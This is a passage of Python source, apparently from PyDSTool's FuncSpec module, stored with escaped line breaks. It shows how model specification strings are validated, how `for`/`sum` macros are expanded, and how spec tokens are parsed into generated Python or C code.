self.__repr__()\r\n\r\n\r\n    # # This function doesn't work -- it generates:\r\n    # #    global name 'self' is not defined\r\n    # # in the _specfn call\r\n    # def validateSpecs(self):\r\n    #     # dummy values for internal values possibly needed by auxiliary fns\r\n    #     self.globalt0 = 0\r\n    #     self.initialconditions = {}.fromkeys(self.vars, 0)\r\n    #     lenparsinps = len(self.pars)+len(self.inputs)\r\n    #     pi_vals = zeros(lenparsinps, float64)\r\n    #     _specfn(1, self.initialconditions.values(), pi_vals)\r\n\r\n    def validateDef(self, vars, pars, inputs, auxvars, auxfns):\r\n        \"\"\"Validate definition of the functional specification.\"\"\"\r\n        # verify that vars, pars, and inputs are non-overlapping lists\r\n        assert not intersect(vars, pars), 'variable and param names overlap'\r\n        assert not intersect(vars, inputs), 'variable and input names overlap'\r\n        assert not intersect(pars, inputs), 'param and input names overlap'\r\n        assert not intersect(vars, auxfns), ('variable and auxiliary function '\r\n                                             'names overlap')\r\n        assert not intersect(pars, auxfns), ('param and auxiliary function '\r\n                                             'names overlap')\r\n        assert not intersect(inputs, auxfns), ('input and auxiliary function '\r\n                                               'names overlap')\r\n        assert not intersect(vars, auxvars), ('variable and auxiliary variable '\r\n                                             'names overlap')\r\n        assert not intersect(pars, auxvars), ('param and auxiliary variable '\r\n                                             'names overlap')\r\n        assert not intersect(inputs, auxvars), ('input and auxiliary variable '\r\n                                               'names overlap')\r\n        # verify uniqueness of all names\r\n        assert isUniqueSeq(vars), 'variable names are repeated'\r\n        assert isUniqueSeq(pars), 'parameter names are repeated'\r\n        assert isUniqueSeq(inputs), 'input names are repeated'\r\n        if auxvars != []:\r\n            assert isUniqueSeq(auxvars), 'auxiliary variable names are repeated'\r\n        if auxfns != []:\r\n            assert isUniqueSeq(auxfns), 'auxiliary function names are repeated'\r\n        allnames = vars+pars+inputs+auxvars\r\n        allprotectednames = self._protected_mathnames + \\\r\n                            self._protected_scipynames + \\\r\n                            self._protected_numpynames + \\\r\n                            self._protected_specialfns + \\\r\n                            self._protected_randomnames + \\\r\n                            self._protected_auxnames + \\\r\n                            ['abs', 'min', 'max', 'and', 'or', 'not',\r\n                             'True', 'False']\r\n        # other checks\r\n        first_char_check = [alphabet_chars_RE.match(n[0]) \\\r\n                                     is not None for n in allnames]\r\n        if not all(first_char_check):\r\n            print(\"Offending names:%r\" % [n for i, n in enumerate(allnames) \\\r\n                                       if not first_char_check[i]])\r\n            raise ValueError('Variable, parameter, and input names must not '\r\n                         'begin with non-alphabetic chars')\r\n        protected_overlap = intersect(allnames, allprotectednames)\r\n        if protected_overlap != []:\r\n            print(\"Overlapping names:%r\" % protected_overlap)\r\n            raise ValueError('Variable, parameter, and input names must not '\r\n                         'overlap with protected math / aux function names')\r\n        ## Not yet implemented ?\r\n        # verify that targetlang is consistent with spec contents?\r\n        # verify that spec is consistent with specstring (if not empty)?\r\n\r\n    def validateDependencies(self, dependencies):\r\n        \"\"\"Validate the stored dependency pairs for self-consistency.\"\"\"\r\n        # dependencies is a list of unique ordered pairs (i,o)\r\n        # where (i,o) means 'variable i directly depends on variable o'\r\n        # (o can include inputs)\r\n        assert isinstance(dependencies, list), ('dependencies must be a list '\r\n                                                'of unique ordered pairs')\r\n        # Verify all names in dependencies are in self.vars\r\n        # and that (i,o) pairs are unique in dependencies\r\n        all_vars = self.vars+self.auxvars\r\n        for d in dependencies:\r\n            try:\r\n                i, o = d\r\n            except:\r\n                raise ValueError('dependencies must be ordered pairs')\r\n            firstpos = dependencies.index(d)\r\n            assert d not in dependencies[firstpos+1:], \\\r\n                   'dependency pairs must be unique'\r\n            assert i in all_vars, 'unknown variable name %s in dependencies'%i\r\n            assert o in self.vars or o in self.inputs, \\\r\n                   'unknown variable name %s in dependencies'%o\r\n        # No need to verify that dependencies are consistent with spec,\r\n        # if spec was generated automatically\r\n\r\n    def generateAuxFns(self):\r\n        if self.targetlang != 'python':\r\n            # Always makes a set of python versions of the functions for future\r\n            # use by user at python level\r\n            # FIXME: hack to generate _pyauxfns\r\n            # FIXME: as a side effect this creates '_user_auxfns_interface' field\r\n            CG.getCodeGenerator(self, 'python').generate_aux()\r\n        if self.targetlang != 'matlab':\r\n            self.auxfns = self.codegen.generate_aux()\r\n        else:\r\n            for name, spec in self._auxfnspecs.items():\r\n                self.__validate_aux_spec(name, spec)\r\n                if name in ['Jacobian', 'Jacobian_pars', 'massMatrix']:\r\n                    code, signature = self.codegen.generate_special(name, spec)\r\n                else:\r\n                    code, signature = self.codegen.generate_auxfun(name, spec)\r\n                self.auxfns[name] = (code, signature)\r\n                self._protected_auxnames.append(name)\r\n\r\n    def __validate_aux_spec(self, name, spec):\r\n        assert name not in ['auxvars', 'vfield'], \\\r\n            (\"auxiliary function name '\" + name + \"' clashes with internal\"\r\n                \" names\")\r\n        assert len(spec) == 2, 'auxspec tuple must be of length 2'\r\n        if not isinstance(spec[0], list):\r\n            raise TypeError('aux function arguments must be given as a list')\r\n        if not isinstance(spec[1], str):\r\n            raise TypeError('aux function specification must be a string of the function code')\r\n\r\n    def generateSpec(self):\r\n        \"\"\"Automatically generate callable target-language functions from\r\n        the user-defined specification strings.\"\"\"\r\n        if self.targetlang != 'matlab':\r\n            self.codegen.generate_spec()\r\n        else:\r\n            assert self.varspecs != {}, 'varspecs attribute must be defined'\r\n            assert set(self.vars) - set(self.varspecs.keys()) == set([]), 'Mismatch between declared variable names and varspecs keys'\r\n            for name, spec in self.varspecs.items():\r\n                assert type(spec) == str, \"Specification for %s was not a string\" % name\r\n            self.spec = self.codegen.generate_spec(self.vars, self.varspecs)\r\n\r\n    def generate_user_module(self, eventstruct, **kwargs):\r\n        return self.codegen.generate_user_module(self, eventstruct, **kwargs)\r\n\r\n    def doPreMacros(self):\r\n        \"\"\"Pre-process any macro spec definitions (e.g. `for` loops).\"\"\"\r\n\r\n        assert self.varspecs != {}, 'varspecs attribute must be defined'\r\n        specnames_unsorted = list(self.varspecs.keys())\r\n        _vbfs_inv = invertMap(self._varsbyforspec)\r\n        # Process state variable specifications\r\n        if len(_vbfs_inv) > 0:\r\n            specname_vars = []\r\n            specname_auxvars = []\r\n            for varname in self.vars:\r\n                # check if varname belongs to a for macro grouping in self.varspecs\r\n                specname = _vbfs_inv[varname]\r\n                if specname not in specname_vars:\r\n                    specname_vars.append(specname)\r\n            for varname in self.auxvars:\r\n                # check if varname belongs to a for macro grouping in self.varspecs\r\n                specname = _vbfs_inv[varname]\r\n                if specname not in specname_auxvars:\r\n                    specname_auxvars.append(specname)\r\n        else:\r\n            specname_vars = intersect(self.vars, specnames_unsorted)\r\n            specname_auxvars = intersect(self.auxvars, specnames_unsorted)\r\n        specname_vars.sort()\r\n        specname_auxvars.sort()\r\n        specnames = specname_vars + specname_auxvars  # sorted *individually*\r\n        specnames_temp = copy(specnames)\r\n        for specname in specnames_temp:\r\n            leftbrack_ix = specname.find('[')\r\n            rightbrack_ix = specname.find(']')\r\n            test_sum = leftbrack_ix + rightbrack_ix\r\n            if test_sum > 0:\r\n                # both brackets found -- we expect a `for` macro in specstr\r\n                assert rightbrack_ix - leftbrack_ix == 2, ('Misuse of square '\r\n                                 'brackets in spec definition. Expected single'\r\n                                 ' character between left and right brackets.')\r\n                # if remain(self._varsbyforspec[specname], self.vars) == []:\r\n                #     foundvar = True\r\n                # else:\r\n                #     foundvar = False  # auxiliary variable instead\r\n                rootstr = specname[:leftbrack_ix]\r\n                istr = specname[leftbrack_ix+1]\r\n                specstr = self.varspecs[specname]\r\n                assert specstr[:4] == 'for(', ('Expected `for` macro when '\r\n                                'square brackets used in name definition')\r\n                # read contents of braces\r\n                arginfo = readArgs(specstr[3:])\r\n                if not arginfo[0]:\r\n                    raise ValueError('Error finding '\r\n                            'arguments applicable to `for` '\r\n                            'macro')\r\n                arglist = arginfo[1]\r\n                assert len(arglist) == 4, ('Wrong number of arguments passed '\r\n                                           'to `for` macro. Expected 4')\r\n                istr = arglist[0]\r\n                allnames = self.vars + self.pars + self.inputs + self.auxvars \\\r\n                           + self._protected_mathnames \\\r\n                           + self._protected_randomnames \\\r\n                           + self._protected_auxnames \\\r\n                           + self._protected_scipynames \\\r\n                           + self._protected_numpynames \\\r\n                           + self._protected_specialfns \\\r\n                           + self._protected_macronames \\\r\n                           + self._protected_builtins \\\r\n                           + ['True', 'False']\r\n                assert istr not in allnames, ('loop index in `for` macro '\r\n                                              'must not be a reserved name')\r\n                assert alphabet_chars_RE.match(istr[0]) is not None, \\\r\n                       ('loop index symbol in `for` macro must start with '\r\n                        'a letter')\r\n                for ichar in istr:\r\n                    assert name_chars_RE.match(ichar) is not None, \\\r\n                                         ('loop index symbol in `for` macro '\r\n                                                'must be alphanumeric')\r\n                ilo = int(arglist[1])\r\n                ihi = int(arglist[2])\r\n                # NOTE: rootstr + '['+istr+'] = ' + arglist[3]\r\n                expr = arglist[3]\r\n                # add macro text\r\n                varspecs = self._macroFor(rootstr, istr, ilo, ihi, expr)\r\n                specnames_gen = list(varspecs.keys())\r\n                # now we update the dictionary of specnames with the\r\n                # processed, expanded versions\r\n                specnames.remove(specname)\r\n                # if foundvar:\r\n                #     assert rootstr+'['+istr+']' in self.varspecs, ('Mismatch '\r\n                #                                  'between declared variables '\r\n                #                                'and loop index in `for` macro')\r\n                #     #self.vars.remove(specname)\r\n                # else:\r\n                #     assert rootstr+'['+istr+']' in self.varspecs, ('Mismatch '\r\n                #                                  'between declared variables '\r\n                #                                'and loop index in `for` macro')\r\n                #     self.auxvars.remove(specname)\r\n                del(self.varspecs[specname])\r\n                for sname in specnames_gen:\r\n                    self.varspecs[sname] = varspecs[sname]\r\n                    specnames.append(sname)\r\n                    # if foundvar:\r\n                    #     self.vars.append(sname)\r\n                    # else:\r\n                    #     self.auxvars.append(sname)\r\n            elif test_sum == -2:\r\n                pass\r\n                # no brackets found. regular definition line. take no action.\r\n            else:\r\n                raise AssertionError('Misuse of square brackets in spec '\r\n                                       'definition. Expected single'\r\n                                 ' character between left and right brackets.')\r\n\r\n    def _macroFor(self, rootstr, istr, ilo, ihi, expr_in_i):\r\n        \"\"\"Internal utility function to build multiple instances of expression\r\n        'expr_in_i' where integer i has been substituted for values from ilo to ihi.\r\n        Returns dictionary keyed by rootstr+str(i) for each i.\r\n        \"\"\"\r\n        # already tested for the same number of [ and ] occurrences\r\n        retdict = {}\r\n        q = QuantSpec('__temp__', expr_in_i)\r\n        eval_pieces = {}\r\n        for ix, tok in enumerate(q):\r\n            if tok[0] == '[':\r\n                eval_str = tok[1:-1]\r\n                if istr in eval_str:\r\n                    eval_pieces[ix] = eval_str\r\n                # otherwise may be a different, embedded temp index for another\r\n                # sum, etc., so don't touch it\r\n        keys = list(eval_pieces.keys())\r\n        keys.sort()\r\n        ranges = remove_indices_from_range(keys, len(q.parser.tokenized)-1)\r\n        # By virtue of this syntax, the first [] cannot be before some other text\r\n        pieces = []\r\n        eval_ixs = []\r\n        for ri, r in enumerate(ranges):\r\n            if len(r) == 1:\r\n                pieces.append(q[r[0]])\r\n            else:\r\n                # len(r) == 2\r\n                pieces.append(''.join(q[r[0]:r[1]]))\r\n            if ri+1 == len(ranges):\r\n                # last one - check if there's an eval piece placeholder to append at the end\r\n                if len(keys) > 0 and keys[-1] == r[-1]:\r\n                    pieces.append('')\r\n                    eval_ixs.append(len(pieces)-1)\r\n                # else do nothing\r\n            else:\r\n                # in-between pieces, so append a placeholder for an eval piece\r\n                pieces.append('')\r\n                eval_ixs.append(len(pieces)-1)\r\n        for i in range(ilo, ihi+1):\r\n            for k, ei in zip(keys, eval_ixs):\r\n                s = eval_pieces[k].replace(istr, str(i))\r\n                try:\r\n                    pieces[ei] = str(int(eval(s)))\r\n                except NameError:\r\n                    # maybe recursive 'sum' syntax, so a different index letter\r\n                    pieces[ei] = s\r\n            retdict[rootstr+str(i)] = ''.join(pieces)+'\\n'\r\n        return retdict\r\n\r\n    def _macroSum(self, istr, ilo, ihi, expr_in_i):\r\n        def_dict = self._macroFor('', istr, int(ilo), int(ihi), expr_in_i)\r\n        retstr = '(' + \"+\".join([term.strip() for term in def_dict.values()]) + ')'\r\n        return retstr\r\n\r\n    def processTokens(self, allnames, specialtokens, specstr,\r\n                        var_arrayixstr, aux_arrayixstr, parsinps_names,\r\n                        parsinps_arrayixstr, specname, ignoreothers=False,\r\n                        doing_inserts=False):\r\n        # This function is an earlier version of parseUtils.py's\r\n        # parse method of a parserObject.\r\n        # This function should be replaced with an adapted version\r\n        # of parserObject that can handle auxiliary function call\r\n        # parsing and the inbuilt macros. This is some of the worst-organized\r\n        # code I ever wrote, early in my experience with Python. My apologies...\r\n        returnstr = ''\r\n        if specstr[-1] != ')':\r\n            # temporary hack because strings not ending in ) lose their last\r\n            # character!\r\n            specstr += ' '\r\n        scount = 0\r\n        speclen = len(specstr)\r\n        valid_depnames = self.vars+self.auxvars\r\n        s = ''\r\n        ignore_list = ['', ' ', '\\n'] + allnames\r\n        foundtoken = False\r\n        # initial value for special treatment of the 'initcond' built-in\r\n        # auxiliary function's argument\r\n        strname_arg_imminent = False\r\n        auxfn_args_imminent = False\r\n        while scount < speclen:\r\n            stemp = specstr[scount]\r\n            scount += 1\r\n            if name_chars_RE.match(stemp) is None:\r\n                # found a non-alphanumeric char\r\n                # so just add to returnstr with accumulated s characters\r\n                # (these will have been deleted if s contained a target\r\n                # name)\r\n                if not ignoreothers and s not in ignore_list:\r\n                    # adding allnames catches var names etc. that are valid\r\n                    # in auxiliary functions but are not special tokens\r\n                    # and must be left alone\r\n                    print(\"Error in specification `%s` with token `%s` :\\n\" % (specname, specstr))\r\n                    raise ValueError('Undeclared or illegal token `'+s+'` in'\r\n                                       ' spec string `'+specname+'`')\r\n                if stemp == '^' and self.targetlang == 'python':\r\n                    raise ValueError('Character `^` is not allowed. '\r\n                                       'Please use the pow() call')\r\n                if stemp == '(':\r\n                    returnstr += s\r\n                    s = stemp\r\n                else:\r\n                    returnstr += s\r\n                    if len(returnstr)>1 and stemp == returnstr[-1] == \"*\":\r\n                        # check for ** case\r\n                        raise ValueError('Operator ** is not allowed. '\r\n                                   'Please use the pow() call')\r\n                    returnstr += stemp\r\n                    s = ''\r\n                    continue\r\n            else:\r\n                if s == '' and stemp not in num_chars:\r\n                    s += stemp\r\n                elif s != '':\r\n                    s += stemp\r\n                else:\r\n                    returnstr += stemp\r\n                    continue\r\n            if s in specialtokens + self._ignorespecial:\r\n                if s != '(':\r\n                    if scount < speclen - 1:\r\n                        if name_chars_RE.match(specstr[scount]) is None:\r\n                            foundtoken = True\r\n                        else:\r\n                            if s in ['e','E'] and \\\r\n                               name_chars_RE.match(specstr[scount]).group() \\\r\n                                       in num_chars+['-']:\r\n                                # not expecting an arithmetic symbol or space\r\n                                # ... we *are* expecting a numeric\r\n                                foundtoken = True\r\n                    else:\r\n                        foundtoken = True\r\n                else:\r\n                    foundtoken = True\r\n                if foundtoken:\r\n                    if s == '(':\r\n                        if auxfn_args_imminent:\r\n                            returnstr += s+'parsinps, '\r\n                            auxfn_args_imminent = False\r\n                        else:\r\n                            returnstr += s\r\n                    elif s == 'abs':\r\n                        returnstr += s\r\n                    elif s in var_arrayixstr and \\\r\n                         (len(returnstr)==0 or len(returnstr)>0 and \\\r\n                          returnstr[-1] not in [\"'\", '\"']):\r\n                        if strname_arg_imminent:\r\n                            returnstr += \"'\"+s+\"'\"\r\n                            strname_arg_imminent = False\r\n                        else:\r\n                            if specname in valid_depnames \\\r\n                               and (specname, s) not in self.dependencies:\r\n                                self.dependencies.append((specname,s))\r\n                            returnstr += 'x['+var_arrayixstr[s]+']'\r\n                    elif s in aux_arrayixstr:\r\n                        if strname_arg_imminent:\r\n                            returnstr += \"'\"+s+\"'\"\r\n                            strname_arg_imminent = False\r\n                        else:\r\n                            print(\"Spec name:%s\" % specname)\r\n                            print(\"Spec string:%s\" % specstr)\r\n                            print(\"Problem symbol:%s\" % s)\r\n                            raise NameError('auxiliary variables cannot '\r\n                                         'appear on any right-hand side '\r\n                                         'except their initial value')\r\n                    elif s in parsinps_arrayixstr and \\\r\n                         (len(returnstr)==0 or len(returnstr)>0 and \\\r\n                          returnstr[-1] not in [\"'\", '\"']):\r\n                        if s in self.inputs:\r\n                            if specname in valid_depnames and \\\r\n                                   (specname, s) not in self.dependencies:\r\n                                self.dependencies.append((specname,s))\r\n                        if strname_arg_imminent:\r\n                            returnstr += \"'\"+s+\"'\"\r\n                            strname_arg_imminent = False\r\n                        else:\r\n                            returnstr += 'parsinps[' + \\\r\n                                      parsinps_arrayixstr[s] + ']'\r\n                    elif s in self._protected_mathnames:\r\n                        if s in ['e','E']:\r\n                            # special case where e is either = exp(0)\r\n                            # as a constant or it's an exponent in 1e-4\r\n                            if len(returnstr)>0:\r\n                                if returnstr[-1] not in num_chars+['.']:\r\n                                    returnstr += 'math.'+s.lower()\r\n                                else:\r\n                                    returnstr += s\r\n                            else:\r\n                                returnstr += 'math.'+s.lower()\r\n                        else:\r\n                            returnstr += 'math.'+s\r\n                    elif s in self._protected_randomnames:\r\n                        if len(returnstr) > 0:\r\n                            if returnstr[-1] == '.':\r\n                                # not a standalone name (e.g. \"sample\" may be a method call\r\n                                # in an embedded system)\r\n                                returnstr += s\r\n                            else:\r\n                                returnstr += 'random.'+s\r\n                        else:\r\n                            returnstr += 'random.'+s\r\n                    elif s in self._protected_scipynames:\r\n                        if len(returnstr) > 0:\r\n                            if returnstr[-1] == '.':\r\n                                # not a standalone name (e.g. may be a method call in an\r\n                                # embedded system)\r\n                                returnstr += s\r\n                            else:\r\n                                returnstr += 'scipy.'+s\r\n                        else:\r\n                            returnstr += 'scipy.'+s\r\n                    elif s in self._protected_numpynames:\r\n                        if len(returnstr) > 0:\r\n                            if returnstr[-1] == '.':\r\n                                # not a standalone name (e.g. may be a method call in an\r\n                                # embedded system)\r\n                                returnstr += s\r\n                            else:\r\n                                returnstr += 'numpy.'+s\r\n                        else:\r\n                            returnstr += 'numpy.'+s\r\n                    elif s in self._protected_specialfns:\r\n                        if self.targetlang != 'python':\r\n                            print(\"Function %s is currently not supported \"%s +\r\n                                \"outside of python target language definitions\")\r\n                            raise ValueError(\"Invalid special function for \"\r\n                                             \"non-python target definition\")\r\n                        # replace the underscore in the name with a dot\r\n                        # to access scipy.special\r\n                        returnstr += 'scipy.'+s.replace('_','.')\r\n                    elif s in self._protected_macronames:\r\n                        if doing_inserts:\r\n                            # Code inserts don't use macro versions of \"if\", \"for\", etc.\r\n                            # They are interpreted as regular python\r\n                            returnstr += s\r\n                        else:\r\n                            if specname in self._pyauxfns:\r\n                                # remove vars, auxs, inputs\r\n                                to_remove = self.vars + self.auxvars + self.inputs\r\n                                filtfunc = lambda n: n not in to_remove\r\n                                specialtokens_temp = list(filter(filtfunc,\r\n                                                        specialtokens+self._ignorespecial))\r\n                            else:\r\n                                specialtokens_temp = specialtokens+self._ignorespecial\r\n                            if s == 'if':\r\n                                # hack for special 'if' case\r\n                                # read contents of braces\r\n                                endargbrace = findEndBrace(specstr[scount:]) \\\r\n                                                 + scount + 1\r\n                                argstr = specstr[scount:endargbrace]\r\n                                procstr = self.processTokens(allnames,\r\n                                                specialtokens_temp, argstr,\r\n                                                var_arrayixstr,\r\n                                                aux_arrayixstr, parsinps_names,\r\n                                                parsinps_arrayixstr, specname)\r\n                                arginfo = readArgs(procstr)\r\n                                if not arginfo[0]:\r\n                                    raise ValueError('Error finding '\r\n                                            'arguments applicable to `if` '\r\n                                            'macro')\r\n                                # advance pointer in specstr according to\r\n                                # how many tokens/characters were read in for\r\n                                # the argument list\r\n                                scount += len(argstr) # not arginfo[2]\r\n                                arglist = arginfo[1]\r\n                                assert len(arglist) == 3, ('Wrong number of'\r\n                                                ' arguments passed to `if`'\r\n                                                ' macro. Expected 3')\r\n                                returnstr += 'ds.' + self._pyauxfns[s][1] + \\\r\n                                             '(parsinps, '+procstr[1:]\r\n                            elif s == 'for':\r\n                                raise ValueError('Macro '+s+' cannot '\r\n                                        'be used here')\r\n                            elif s == 'sum':\r\n                                endargbrace = findEndBrace(specstr[scount:]) \\\r\n                                                 + scount + 1\r\n                                argstr = specstr[scount:endargbrace]\r\n                                arginfo = readArgs(argstr)\r\n                                if not arginfo[0]:\r\n                                    raise ValueError('Error finding '\r\n                                            'arguments applicable to `sum` '\r\n                                            'macro')\r\n                                arglist = arginfo[1]\r\n                                assert len(arglist) == 4, ('Wrong number of'\r\n                                                ' arguments passed to `sum`'\r\n                                                ' macro. Expected 4')\r\n                                # advance pointer in specstr according to\r\n                                # how many tokens/characters were read in for\r\n                                # the argument list\r\n                                scount += len(argstr)\r\n                                # recursively process main argument\r\n                                returnstr += self.processTokens(allnames,\r\n                                                specialtokens_temp,\r\n                                                self._macroSum(*arglist), var_arrayixstr,\r\n                                                aux_arrayixstr, parsinps_names,\r\n                                                parsinps_arrayixstr, specname)\r\n                            else:\r\n                                # max and min just pass through\r\n                                returnstr += s\r\n                    elif s in self._protected_auxnames:\r\n                        if s in ['initcond', 'getbound']:\r\n                            # must prepare parser for upcoming variable\r\n                            # name in argument that must only be\r\n                            # converted to its index in x[]\r\n                            strname_arg_imminent = True\r\n                        # add internal prefix (to avoid method name clashes\r\n                        # in DS objects, for instance) unless built-in function\r\n                        returnstr += 'ds.' + self._pyauxfns[s][1]\r\n                        auxfn_args_imminent = True\r\n                    elif s in self._pyauxfns:\r\n                        # treat inter-aux function dependencies:\r\n                        # any protected auxnames will already have been\r\n                        # processed because this is placed after that check.\r\n                        # don't reference self._pyauxfns[s] because it doesn't\r\n                        # contain the processed definition of the function.\r\n                        if s in ['initcond', 'getbound']:\r\n                            # must prepare parser for upcoming variable\r\n                            # name in argument that must only be\r\n                            # converted to its index in x[]\r\n                            strname_arg_imminent = True\r\n                        # add internal prefix (to avoid method name clashes\r\n                        # in DS objects, for instance) unless built-in function\r\n                        returnstr += 'ds.' + s\r\n                        auxfn_args_imminent = True\r\n                    elif s in self._protected_reusenames:\r\n                        returnstr += s\r\n                    else:\r\n                        # s is e.g. a declared argument to an aux fn but\r\n                        # only want to ensure it is present. no action to take.\r\n                        returnstr += s\r\n                    # reset for next iteration\r\n                    s = ''\r\n                    foundtoken = False\r\n        # end of scount while loop\r\n        return returnstr\r\n\r\n    def _infostr(self, verbose=1):\r\n        if verbose == 0:\r\n            outputStr = \"FuncSpec \" + self.name\r\n        else:\r\n            outputStr = '*********** FuncSpec:  '+self.name + ' ***********'\r\n            outputStr += '\\nTarget lang:  '+ self.targetlang\r\n            outputStr += '\\nVariables:  '\r\n            for v in self.vars:\r\n                outputStr += v+'  '\r\n            outputStr += '\\nParameters:  '\r\n            if len(self.pars):\r\n                for p in self.pars:\r\n                    outputStr += p+'  '\r\n            else:\r\n                outputStr += '[]'\r\n            outputStr += '\\nExternal inputs:  '\r\n            if len(self.inputs):\r\n                for i in self.inputs:\r\n                    outputStr += i+'  '\r\n            else:\r\n                outputStr += '[]'\r\n        if verbose == 2:\r\n            outputStr += \"\\nSpecification functions (in target language):\"\r\n            outputStr += \"\\n  (ignore any arguments `ds` and `parsinps`,\" \\\r\n                       + \"\\n   which are for internal use only)\\n\"\r\n            if self.spec == {}:\r\n                outputStr += \"\\n None\\n\"\r\n            else:\r\n                outputStr += \"\\n  \"+self.spec[0]+\"\\n\"\r\n            if len(self.auxvars) and self.auxspec != {}:\r\n                outputStr += \" \"+self.auxspec[0]\r\n            if self._protected_auxnames != []:\r\n                outputStr += '\\n\\nUser-defined auxiliary variables:  '\r\n                for v in self.auxvars:\r\n                    outputStr += v+'  '\r\n                outputStr += '\\n\\nUser-defined auxiliary functions (in target ' + \\\r\n                             'language):'\r\n                for auxname, auxdef in sortedDictItems(self.auxfns):\r\n                    # verbose option shows up builtin auxiliary func definitions\r\n                    if auxname not in self._builtin_auxnames or verbose > 0:\r\n                        outputStr += '\\n  ' + auxdef[0] + '\\n'\r\n            outputStr += \"\\n\\nDependencies in specification functions - pair (i, o)\"\\\r\n                    \" means i depends on o:\\n  \" + str(self.dependencies)\r\n        return outputStr\r\n\r\n    def info(self, verbose=0):\r\n        print(self._infostr(verbose))\r\n\r\n    def __repr__(self):\r\n        return self._infostr(verbose=0)\r\n\r\n    __str__ = __repr__\r\n\r\n\r\n    # XXX: methods are to be removed\r\n    # These methods don't belongs to this class, but are used by clients\r\n    # elsewhere (Events.py)\r\n    def _specStrParse(self, specnames, specdict, resname='', specials=[],\r\n                      dovars=True, dopars=True, doinps=True,\r\n                      noreturndefs=False, forexternal=False, illegal=[],\r\n                      ignoreothers=False, doing_inserts=False):\r\n        return CG.getCodeGenerator(self, 'python')._specStrParse(specnames, specdict, resname, specials,\r\n                        dovars, dopars, doinps,\r\n                        noreturndefs, forexternal, illegal,\r\n                        ignoreothers, doing_inserts)\r\n\r\n    def _parseReusedTermsPy(self, d, symbol_ixs, specials=[],\r\n                        dovars=True, dopars=True, doinps=True, illegal=[]):\r\n        return CG.getCodeGenerator(self, 'python')._parseReusedTermsPy(d, symbol_ixs, specials,\r\n                        dovars, dopars, doinps, illegal)\r\n\r\n    def _processSpecialC(self, specStr):\r\n        return CG.getCodeGenerator(self, 'c')._processSpecialC(specStr)\r\n\r\n# Sub-classes of FuncSpec\r\nclass RHSfuncSpec(FuncSpec):\r\n    \"\"\"Right-hand side definition for vars defined.\"\"\"\r\n\r\n    def __init__(self, kw):\r\n        FuncSpec.__init__(self, kw)\r\n\r\n\r\nclass ExpFuncSpec(FuncSpec):\r\n    \"\"\"Explicit definition of vars defined.\"\"\"\r\n\r\n    def __init__(self, kw):\r\n        assert 'codeinsert_start' not in kw, ('code inserts invalid for '\r\n                                            'explicit function specification')\r\n        assert 'codeinsert_end' not in kw, ('code inserts invalid for '\r\n                                            'explicit function specification')\r\n        FuncSpec.__init__(self, kw)\r\n\r\n\r\nclass ImpFuncSpec(FuncSpec):\r\n    \"\"\"Assumes this will be set to equal zero when solving for vars defined.\"\"\"\r\n\r\n    # funcspec will possibly be the same for several variables\r\n    # so it's repeated, but must be checked so that only solved\r\n    # once for all relevant variables\r\n    def __init__(self, kw):\r\n        assert 'codeinsert_start' not in kw, ('code inserts invalid for '\r\n                                            'implicit function specification')\r\n        assert 'codeinsert_end' not in kw, ('code inserts invalid for '\r\n                                            'implicit function specification')\r\n        FuncSpec.__init__(self, kw)\r\n\r\n\r\n# ----------------------------------------------\r\n## Public exported functions\r\n# ----------------------------------------------\r\ndef makePartialJac(spec_pair, varnames, select=None):\r\n    \"\"\"Use this when parameters have been added to a modified Generator which\r\n    might clash with aux fn argument names. (E.g., used by find_nullclines).\r\n\r\n    'select' option (list of varnames) selects those entries from the Jac of the varnames,\r\n       e.g. for constructing Jacobian w.r.t. 'parameters' using a parameter formerly\r\n       a variable (e.g. for find_nullclines).\r\n    \"\"\"\r\n    fargs, fspec = spec_pair\r\n    J = QuantSpec('J', fspec)\r\n    # find positions of actual varnames in f argument list\r\n    # then extract terms from the Jacobian matrix, simplifying to a scalar if 1D\r\n    dim = len(varnames)\r\n    if J.dim == dim:\r\n        # nothing to do\r\n        return (fargs, fspec)\r\n    assert J.dim > dim, \"Cannot add variable names to system while using its old Jacobian aux function\"\r\n    assert remain(varnames, fargs) == [], \"Invalid variable names to resolve Jacobian aux function\"\r\n    assert fargs[0] == 't'\r\n    # -1 adjusts for 't' being the first argument\r\n    vixs = [fargs.index(v)-1 for v in varnames]\r\n    vixs.sort()\r\n    if select is None:\r\n        select = varnames\r\n        sixs = vixs\r\n    else:\r\n        sixs = [fargs.index(v)-1 for v in select]\r\n    if dim == 1:\r\n        fspec = str(J.fromvector(vixs[0]).fromvector(sixs[0]))\r\n    else:\r\n        terms = []\r\n        for i in vixs:\r\n            Ji = J.fromvector(i)\r\n            subterms = []\r\n            for j in sixs:\r\n                subterms.append( str(Ji.fromvector(j)) )\r\n            terms.append( \"[\" + \",\".join(subterms) + \"]\" )\r\n        fspec = \"[\" + \",\".join(terms) + \"]\"\r\n    # retain order of arguments\r\n    fargs_new = ['t'] + [fargs[ix+1] for ix in vixs]\r\n    return (fargs_new, fspec)\r\n\r\n\r\ndef resolveClashingAuxFnPars(fnspecs, varspecs, parnames):\r\n    \"\"\"Use this when parameters have been added to a modified Generator which\r\n    might clash with aux fn argument names. (E.g., used by find_nullclines).\r\n    Will remove arguments that are now considered parameters by the system,\r\n    in both the function definitions and their use in specs for the variables.\r\n    \"\"\"\r\n    changed_fns = []\r\n    new_fnspecs = {}\r\n    for fname, (fargs, fspec) in fnspecs.items():\r\n        common_names = intersect(fargs, parnames)\r\n        if fname in parnames:\r\n            print(\"Problem with function definition %s\" % fname)\r\n            raise ValueError(\"Unrecoverable clash between parameter names and aux fn name\")\r\n        if common_names == []:\r\n            new_fnspecs[fname] = (fargs, fspec)\r\n        else:\r\n            changed_fns.append(fname)\r\n            new_fnspecs[fname] = (remain(fargs, parnames), fspec)\r\n\r\n    new_varspecs = {}\r\n    for vname, vspec in varspecs.items():\r\n        q = QuantSpec('__temp__', vspec)\r\n        # only update use of functions both changed and used in the varspecs\r\n        used_fns = intersect(q.parser.tokenized, changed_fns)\r\n        for f in used_fns:\r\n            ix = q.parser.tokenized.index(f)\r\n            # identify arg list for this fn call\r\n            rest = ''.join(q.parser.tokenized[ix+1:])\r\n            end_ix = findEndBrace(rest)\r\n            # get string of this arg list\r\n            argstr = rest[:end_ix+1]\r\n            # split\r\n            success, args_list, arglen = readArgs(argstr)\r\n            assert success, \"Parsing arguments failed\"\r\n            new_args_list = []\r\n            # remove parnames\r\n            for arg in args_list:\r\n                qarg = QuantSpec('a', arg)\r\n                # if parameter appears in a compound expression in the argument,\r\n                # then we don't know how to process it, so issue warning [was: raise exception]\r\n                if len(qarg.parser.tokenized) > 1:\r\n                    if any([p in qarg for p in 